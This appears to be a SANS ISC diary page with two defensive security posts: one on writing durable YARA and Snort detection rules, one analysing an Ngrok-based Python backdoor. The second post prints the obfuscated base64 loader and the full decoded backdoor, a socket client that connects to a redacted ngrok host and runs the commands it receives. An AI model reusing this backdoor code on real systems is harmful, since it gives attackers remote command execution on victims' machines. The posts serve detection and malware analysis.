Writing Yara Rules for Fun and Profit: Notes from the FireEye Breach Countermeasures

Published: 2020-12-10
Last Updated: 2020-12-11 16:03:07 UTC
by John Bambenek (Version: 1)
0 comment(s)

By now, everyone should have seen that FireEye got breached and their red team tools got stolen. What is truly unique about their response is publishing detection rules to detect the use of those tools in the wild. However, the nature of some of those rules is that the detection will be short-lived. This isn't necessarily a fault of FireEye (as I will explain below) but it is useful as an exercise in writing Yara rules (or Snort, HXIOC, STIX, et al).

For programs, particularly compiled ones, you can think of it as seperated into three parts: the stuff that makes the program do what it does, free-form text for output (error messages, requests for user input, filenames, etc), and metadata (i.e. compiler artifacts). All of these can be modified, of course, but the most difficult to modify is the "stuff that makes the program go". To do that, you need a strong understanding of the code, what the functions do, what returns are expected, and what the expected inputs are. Changing metadata or free-form text, on the other hand, doesn't affect the running of the program and detection that relies on that is transient. An attacker can simply go in, search for the strings or metadata and change them with the tooling of their choice all with no real understanding of the underlying code.

Many of FireEye's countermeasures look for free-form text or metadata and not the functioning of the tool which is why those countermeasures will likely be short-lived. That doesn't mean, however, FireEye's approach is wrong.

For instance, the below Yara rule is detecting a specific GUID for a specific project in a .csproj file. This GUID likely has nothing to do with how Rubeus actually works so it can be arbitrarily changed.

rule HackTool_MSIL_Rubeus_1
{
    meta:
        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project."
        md5 = "66e0681a500c726ed52e5ea9423d2654"
        rev = 4
        author = "FireEye"
    strings:
        $typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide
    condition:
        uint16(0) == 0x5A4D and $typelibguid
}

The approach to writing rules based on metadata or free-form text is not wrong, depending on the purpose you write the rules for. You can either write rules to detect tools or you can write tools to detect actors. Both are useful, but which you use depends on your specific objective.

Among other things, FireEye does good work in attribution of nation-state attacks. When doing the work of intelligence analysis, I love free-form text. It is extremely hard for an attacker to put in free-form text that doesn't give me something to work with, especially when there is a reasonably sized body of text to work with. For instance, an attacker using the word "colour" vs "color" tells me (potentially) something, namely whether they speak American or speak proper English. I have no inside knowledge as to how FireEye writes their rules, but it comes as little surprise to me that many of the rules are written in a way that seems more calibrated to detect actors than tools. For instance, lots of actors use Cobalt Strike, but if I want to know who is behind a specific campaign, I need to look for other things than just the use of Cobalt Strike.

Both approaches are valid, but likely most enterprises are more interested in detecting the use of FireEye's specific tools rather than the attributive information associated with this tools, so other techniques will be needed. That said, both approaches are still valid for their defined use-case, as long as you are intentional about which road you want to travel (or that you're traveling both roads simultaenously by having rules that have both approaches).

However, writing detection logic and thinking through things can sometimes be lacking which leads to completely ineffective rule writing. One of my favorite Snort rules for this example is SID 1239.

# alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"OS-WINDOWS RFParalyze Attempt"; flow:to_server,established; content:"BEAVIS"; content:"yep yep"; metadata:ruleset community; reference:bugtraq,1163; reference:cve,2000-0347; reference:nessus,10392; classtype:attempted-recon; sid:1239; rev:14;)

This is obviously an old rule on CVE-2000-0347. It was discussed on Bugtraq back in the day and you can read the disclosure with a PoC here. What this PoC does is popup a window on a remote vulnerable Windows machine with the title "BEAVIS" and the content "yep yep" (the comment in the PoC is wrong, it is "yep" not "yeh". This Snort rule doesn't detect the exploit, it only detects the PoC payload which means any weaponized use of that exploit would be undetected. All that it would detect is the script kiddies lurking on Bugtraq who downloaded the PoC and launched it against the Internet (in fairness, this was a very common thing to happen back in the bugtaq full disclosure days). However, if I am an enterprise looking to protect myself, this rule gives me nothing. No serious attacker is going to launch popups on remote workstations with Beavis and Butthead references.

So for those of you writing Yara, Snort, or other detection rules, be mindful of what objective you are trying to accomplish with the detection and pick your logic based on what is hopefully enduring and not transitory features of the attacker.

--
John Bambenek
bambenek \at\ gmail /dot/ com
Bambenek Labs - Well Fed Intelligence

Keywords: YARA
0 comment(s)

Python Backdoor Talking to a C2 Through Ngrok

Published: 2020-12-10
Last Updated: 2020-12-10 07:41:32 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I spotted a malicious Python script that implements a backdoor. The interesting behavior is the use of Ngrok to connect to the C2 server. Ngrok has been used for a while by attackers. Like most services available on the Internet, it has been abused by attackers for a long time. If you're not familiar with Ngrok[1], here is the principle: You download the Ngrok client and publish your services (ex: a web server) in the wild. Ngrok acts like a reverse-proxy and allows access to your published services. Because Ngrok is very popular, it's often not considered as harmful and is allowed to bypass firewalls, NAT, etc... By default, the host assigned to your published service is random but, if you create an account, you can force the host to be used (and use it in your malicious code). Example:

# ngrok tcp --region=us --remote-addr 1.tcp.ngrok.io:65080 80

This command will expose your local web server through hxxp://1.tcp.ngrok.io:65080/

The script has been found on VT (SHA256:eb9b1aa664959d0be0acaf299f751507892d74e700d9d5202a86882d8ae896bf) and has a score of 5/59[2]. The obfuscation is performed by Base64 encoding the malicious code:

import socket
import os
import base64
exec(base64.b64decode("aW1wb3J0IHNvY ... AgICAgIHBhc3M=".encode('utf-8')).decode())

The backdoor is simple but effective:

import socket, subprocess, shutil, sys
nameoffile = sys.argv[0]
a = socket.socket()
while True:
    try:
        a.connect(("<redacted>.tcp.ngrok.io", <redacted>))
        break
    except:
        pass
while True:
    try:
        recvd = a.recv(1024)
        if recvd.decode() == "m:os":
            a.send(str(sys.platform).encode())
        if recvd.decode() == "m:hide":
            ree = shutil.move(nameoffile,'C:\\')
            a.send(bytes(nameoffile + "moved to "+ ree +" sucessfully!",'UTF-8'))
        else:
            output = os.popen(recvd.decode()).read()
            a.send(output.encode())
    except:
        pass

It is very simple. Two commands are implemented. "m:os" to report the operating system information and "m:hide" to move the script file. All other received commands will be passed to an os.popen() call to execute them and their result will be sent back to the C2.

What about the popularity of Ngrok in the malware landscape? I performed a VT retro-search to find more references to ".tcp.ngrok.io". Here are the results:

Job ID: <redacted>
Start time: 2020-12-09 13:24:35.476494 UTC
Finish time: 2020-12-09 19:22:41.084292 UTC
Scanned data size: 730.5 TB
Matches: 1535

I expected more hits but it is indeed a cool technique for attackers to hide their infrastructure. I would recommend keeping an eye on traffic to ngrok.io. To search for DNS queries like "\.(tcp|udp)\.ngrok\.io" is a good start. If not malicious, the usage of Ngrok might also reveal some shadow IT stuff in place or potential security issues (like developers sharing test applications or security controls bypass).

[1] https://ngrok.com/product
[2] https://www.virustotal.com/gui/file/eb9b1aa664959d0be0acaf299f751507892d74e700d9d5202a86882d8ae896bf/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Keywords: Backdoor C2 Ngrok Python
0 comment(s)
ISC Stormcast For Thursday, December 10th 2020 https://isc.sans.edu/podcastdetail.html?id=7286

Comments


Diary Archives